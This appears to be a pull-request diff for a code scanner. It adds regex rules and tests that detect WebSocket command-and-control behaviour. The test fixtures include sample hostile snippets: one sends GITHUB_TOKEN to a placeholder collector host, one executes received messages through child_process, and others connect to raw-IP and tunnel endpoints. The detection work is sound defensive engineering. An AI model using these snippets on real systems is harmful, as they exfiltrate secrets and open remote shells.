Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions scanner/package.json
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,7 @@
"type": "module",
"scripts": {
"build": "tsc",
"test": "npm run build && node --test dist/websocket-patterns.test.js",
"start": "node dist/index.js",
"dev": "tsx watch src/index.ts",
"scan": "tsx src/cli.ts"
Expand Down
2 changes: 1 addition & 1 deletion scanner/src/analyzer.ts
Original file line number Diff line number Diff line change
Expand Up @@ -72,7 +72,7 @@ export function analyzeContent(content: string, resourceHash?: string): Analysis
const contextLine = lines[lineNumber - 1] || '';

// Check if this is in an allowlisted context
const isAllowlisted = ALLOWLIST_PATTERNS.some(allowPattern =>
const isAllowlisted = pattern.category !== 'websocket_c2' && ALLOWLIST_PATTERNS.some(allowPattern =>
allowPattern.test(contextLine)
);

Expand Down
32 changes: 32 additions & 0 deletions scanner/src/patterns.ts
Original file line number Diff line number Diff line change
Expand Up @@ -71,6 +71,38 @@ export const DANGEROUS_PATTERNS: Pattern[] = [
pattern: /btoa\s*\(|Buffer\.from\(.*\)\.toString\s*\(\s*['"`]base64['"`]\s*\)/gi,
category: 'exfiltration'
},
{
id: 'WS_SUSPICIOUS_ENDPOINT',
name: 'Suspicious WebSocket Endpoint',
description: 'WebSocket connects to a raw IP, tunnel, webhook, or other suspicious C2-style endpoint',
severity: 'high',
pattern: /\b(?:new\s+)?WebSocket\s*\(\s*['"`]wss?:\/\/(?!(?:localhost|127\.0\.0\.1|0\.0\.0\.0|\[::1\])(?::|\/|$))(?:(?:\d{1,3}\.){3}\d{1,3}|[^'"`]*\b(?:ngrok|trycloudflare|serveo|localtunnel|webhook\.site|requestbin|interactsh|burpcollaborator|duckdns|no-ip|dynu)\b|[^'"`]*\.onion\b)[^'"`]*['"`]|(?:websocket\.create_connection|websockets\.connect)\s*\(\s*['"`]wss?:\/\/(?!(?:localhost|127\.0\.0\.1|0\.0\.0\.0|\[::1\])(?::|\/|$))(?:(?:\d{1,3}\.){3}\d{1,3}|[^'"`]*\b(?:ngrok|trycloudflare|serveo|localtunnel|webhook\.site|requestbin|interactsh|burpcollaborator|duckdns|no-ip|dynu)\b|[^'"`]*\.onion\b)[^'"`]*['"`]/gi,
category: 'websocket_c2'
},
{
id: 'WS_OBFUSCATED_ENDPOINT',
name: 'Obfuscated WebSocket Endpoint',
description: 'WebSocket endpoint is assembled with common obfuscation primitives',
severity: 'high',
pattern: /(?:\bnew\s+WebSocket\s*\(\s*(?:Buffer\.from|atob|String\.fromCharCode|decodeURIComponent|eval\s*\(|[^)]*\.split\s*\([^)]*\)\s*\.reverse\s*\(\)\s*\.join\s*\()|(?:Buffer\.from|atob|String\.fromCharCode|decodeURIComponent|eval\s*\()[\s\S]{0,240}\bnew\s+WebSocket\s*\()/gi,
category: 'websocket_c2'
},
{
id: 'WS_SECRET_EXFILTRATION',
name: 'WebSocket Secret Exfiltration',
description: 'Sensitive data appears to be sent over a WebSocket channel',
severity: 'critical',
pattern: /(?:\b(?:ws|socket|websocket|client|conn)\.send\s*\([\s\S]{0,240}(?:process\.env|os\.environ|document\.cookie|localStorage|sessionStorage|NPM_TOKEN|GITHUB_TOKEN|AWS_(?:ACCESS_KEY|SECRET)|PRIVATE_KEY|SECRET|TOKEN|api[_-]?key|password)|(?:process\.env|os\.environ|document\.cookie|localStorage|sessionStorage|NPM_TOKEN|GITHUB_TOKEN|AWS_(?:ACCESS_KEY|SECRET)|PRIVATE_KEY|SECRET|TOKEN|api[_-]?key|password)[\s\S]{0,240}\b(?:ws|socket|websocket|client|conn)\.send\s*\()/gi,
category: 'websocket_c2'
},
{
id: 'WS_REVERSE_SHELL',
name: 'WebSocket Reverse Shell',
description: 'WebSocket message handler appears to execute received commands',
severity: 'critical',
pattern: /(?:\b(?:new\s+)?WebSocket\b|websocket\.create_connection|websockets\.connect)[\s\S]{0,1000}(?:onmessage|\.on\s*\(\s*['"`]message['"`]|async\s+for\s+.*\s+in\s+websocket)[\s\S]{0,1000}(?:child_process|execSync|exec\s*\(|spawn\s*\(|spawnSync\s*\(|execFile\s*\(|subprocess\.Popen|os\.system|pty\.spawn|\/bin\/sh|cmd\.exe|powershell)/gi,
category: 'websocket_c2'
},

// === HIGH: Credential access ===
{
Expand Down
63 changes: 63 additions & 0 deletions scanner/src/websocket-patterns.test.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,63 @@
import test from 'node:test';
import assert from 'node:assert/strict';
import { analyzeContent } from './analyzer.js';

function patternIdsFor(source: string): string[] {
return analyzeContent(source).findings.map((finding) => finding.patternId);
}

test('detects WebSocket connections to suspicious raw IP endpoints', () => {
const ids = patternIdsFor(`
const socket = new WebSocket("ws://203.0.113.10:4444/control");
socket.send(JSON.stringify({ type: "hello" }));
`);

assert.ok(ids.includes('WS_SUSPICIOUS_ENDPOINT'));
});

test('detects WebSocket connections to tunnel endpoints', () => {
const ids = patternIdsFor(`
import websocket
ws = websocket.create_connection("wss://implant.trycloudflare.com/ws")
ws.send("ready")
`);

assert.ok(ids.includes('WS_SUSPICIOUS_ENDPOINT'));
});

test('detects secret exfiltration over WebSocket send calls', () => {
const ids = patternIdsFor(`
const ws = new WebSocket("wss://collector.example.com");
ws.send(JSON.stringify({ token: process.env.GITHUB_TOKEN }));
`);

assert.ok(ids.includes('WS_SECRET_EXFILTRATION'));
});

test('detects reverse shell behavior in WebSocket message handlers', () => {
const ids = patternIdsFor(`
const { exec } = require("child_process");
const ws = new WebSocket("wss://control.example.com");
ws.on("message", (cmd) => exec(cmd.toString()));
`);

assert.ok(ids.includes('WS_REVERSE_SHELL'));
});

test('detects obfuscated WebSocket endpoints', () => {
const ids = patternIdsFor(`
const endpoint = atob("d3NzOi8vZXhhbXBsZS5jb20=");
const ws = new WebSocket(endpoint);
`);

assert.ok(ids.includes('WS_OBFUSCATED_ENDPOINT'));
});

test('does not flag benign local development WebSocket pings', () => {
const ids = patternIdsFor(`
const ws = new WebSocket("ws://localhost:3000/dev");
ws.send(JSON.stringify({ type: "ping" }));
`);

assert.equal(ids.some((id) => id.startsWith('WS_')), false);
});